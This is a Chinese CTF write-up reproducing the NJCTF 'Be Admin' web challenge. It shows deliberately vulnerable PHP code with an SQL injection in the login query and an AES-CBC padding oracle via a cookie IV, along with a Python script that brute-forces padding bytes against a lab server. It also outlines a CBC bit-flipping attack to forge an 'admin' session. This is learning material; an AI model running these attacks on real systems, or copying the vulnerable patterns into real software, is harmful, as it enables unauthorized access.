NJCTF Be Admin 复现

比赛的时候没有做出来,基于前段时间对Padding Oracle的理解,决定复现一下这个题

先贴出本地代码

服务器代码

<?php
error_reporting(0);
$flag="NJCTF{111111}";
define("SECRET_KEY", "123456789");
define("METHOD", "aes-128-cbc");

session_start();

$conn=new mysqli('localhost','root','root','pocve');
function get_random_token(){
    $random_token='';
    for($i=0;$i<16;$i++){
        $random_token.=chr(rand(1,255));
    }
    return $random_token;
}

function get_identity()
{
    global $defaultId;
    $j = $defaultId;
    $token = get_random_token();
    $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("ID", base64_encode($c));
    setcookie("token", base64_encode($token));
    if ($j === 'admin') {
        $_SESSION['isadmin'] = true;
    } else $_SESSION['isadmin'] = false;

}

function test_identity()
{
    if (!isset($_COOKIE["token"]))
        return array();
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
            if ($u === 'admin') {
                $_SESSION['isadmin'] = true;
            } else $_SESSION['isadmin'] = false;
        } else {
            die("ERROR!");
        }
    }
}

function login($encrypted_pass, $pass)
{
    $encrypted_pass = base64_decode($encrypted_pass);
    $iv = substr($encrypted_pass, 0, 16);
    $cipher = substr($encrypted_pass, 16);
    $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
   # echo $password;
    return $password == $pass;
}



function need_login($message = NULL) {
    echo "   <!doctype html>
        <html>
        <head>
        <meta charset=\"UTF-8\">
        <title>Login</title>
        <link rel=\"stylesheet\" href=\"CSS/target.css\">
            <script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script>
        </head>
        <body>";
    if (isset($message)) {
        echo "  <div>" . $message . "</div>\n";
    }
    echo "<form method=\"POST\" action=''>
            <div class=\"body\"></div>
                <div class=\"grad\"></div>
                    <div class=\"header\">
                        <div>Log<span>In</span></div>
                    </div>
                    <br>
                    <div class=\"login\">
                        <input type=\"text\" placeholder=\"username\" name=\"username\">
                        <input type=\"password\" placeholder=\"password\" name=\"password\">               
                        <input type=\"submit\" value=\"Login\">
                    </div>
                     <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
            </form>
        </body>
    </html>";
}

function show_homepage() {
    echo "<!doctype html>
<html>
<head><title>Login</title></head>
<body>";
    global $flag;
    printf("Hello ~~~ ctfer! ");
    
    if ($_SESSION["isadmin"])
        echo $flag;
    echo "<div><a href=\"logout.php\">Log out</a></div>
</body>
</html>";

}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    $query = "SELECT username, enc_password from user WHERE username='$username'";
    echo $query;
    $res = $conn->query($query) or trigger_error($conn->error . "[$query]");
    #var_dump($res);
    if ($row = $res->fetch_assoc()) {
        $uname = $row['username'];
        $encrypted_pass = $row["enc_password"];
    }

    if ($row && login($encrypted_pass, $password)) {
        echo "you are in!" . "</br>";
        get_identity();
        show_homepage();
    } else {
        echo "<script>alert('login failed!');</script>";
        need_login("Login Failed!");
    }

} else {
    test_identity();
    if (isset($_SESSION["id"])) {
        show_homepage();
    } else {
        need_login();
    }
}
?>

生成密文脚本

<?php
$cipher = MCRYPT_DES;
define("SECRET_KEY", "123456789");
define("METHOD", "aes-128-cbc");

$conn=new mysqli('localhost','root','root','pocve');

$cip='bertram';
$iv='e6cb1b72e52785e3';
$encode=openssl_encrypt($cip,METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv);
$cipher=$iv.$encode;

#echo $cipher."<br>";
$cipher=base64_encode($cipher);
$password = openssl_decrypt($encode, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
#echo $password.'<br>';
function login($encrypted_pass)
{
    echo $encrypted_pass.'<br>';
    $encrypted_pass = base64_decode($encrypted_pass);
    $iv = substr($encrypted_pass, 0, 16);
    #echo $iv.'<br>';
    $cipher = substr($encrypted_pass, 16);
    #echo $cipher;
    $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
   # echo $password;
    return $password;
}

login($cipher);
?>

DB

/*
Setup:
CREATE DATABASE pocve;
use pocve;
CREATE TABLE user (
username VARCHAR(255),
enc_password VARCHAR(255),
);
INSERT INTO user VALUES ("admin", "ZTZjYjFiNzJlNTI3ODVlM5UWODn9iGhl6338I6qPmGw=");
*/

理思路

1、存在注入,可联合查询控制enc_password字段的值,因此可以触发function login的解密过程因此存在padding oracle

2、cookie值有判断函数test_identity(),也存在解密过程因此,也存在padding oracle

3、可以通过padding_oracle攻击获取到$defaultID的明文

4、CBC翻转攻击使token解密后为admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b

5、get flag

gaoshi

看了下很多大佬队的writeup以及官方的出题思路

大多数队伍选择在cookie处padding_oracle攻击,虽然bendawang师傅博文里说cookie处只能出15位,但还是要尝试下

贴出单位猜解脚本

import requests
import base64
import urllib
import random

PHPSESSID="tgr8etrhibd599hrvpfanatjo4"
ID="acedLmrUqRLIkTiOENIPwg%3D%3D"
token="opAynP%2BOMRkzQc2M3bHs0Q%3D%3D"

ID=urllib.unquote(ID)
token=urllib.unquote(token)
print token
print ID

def req_cookie(row_cookie):
    if len(row_cookie)==16:
        #print urllib.quote(base64.b64encode(row_cookie))
        url="http://192.168.5.142/index.php"
        r = requests.get(url,cookies={"PHPSESSID":"tgr8etrhibd599hrvpfanatjo4","ID":"acedLmrUqRLIkTiOENIPwg%3D%3D","token":urllib.quote(base64.b64encode(row_cookie))})
        #print r.content
        if "ERROR" in r.content:
            return False
        else:
            print r.content
            return True

#req_cookie()

def padding_oracle():
    s=""
    for i in xrange(0,15):
        s=s+chr(0)
    for j in xrange(0,256):
        if(req_cookie(s+chr(j))):
            break
    return j


a=padding_oracle()
print "[+] really IV             "+str(ord(base64.b64decode(token)[15:]))
print "[+] my IV                 "+str(a)
print "[+] imv                   "+str(0x01^a)
print "[+] plaintext             "+str(ord(base64.b64decode(token)[15])^0x01^a)
print "[-] next                  "+str(0x01^a^0x02)

一开始一直以为自己脚本有问题,后来试了syclover的脚本,发现结果相同,结果一拍脑袋才想到,本地搭的和服务器的结果必然不可能一样

注入去获取中间值。
利用获取到的中间值与token相异或获取到明文

然后CBC翻转攻击

这里就不贴代码了,因为代码写的实在是丑、丑、丑!
有需要的同学可以去看看这两个脚本
NJCTF-2017-Flappypig
NJCTF 2017 web Writeup by Bendawang

流程总结

1、获取到token(初始向量)以及ID(加密密文)

2、利用login()中的解密过程获取中间值
(可能脑子短路,一直没想明白这之间的关系)

3、获取$defautID的明文

4、CBC翻转攻击至admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b

总结

刚结束的几天就完全理解了padding_oracle,可是始终没懂思路,还是密码学基础比较薄弱,上个月还跟队友吹B说一个月补完密码学。现在想想真是可怕!

发表评论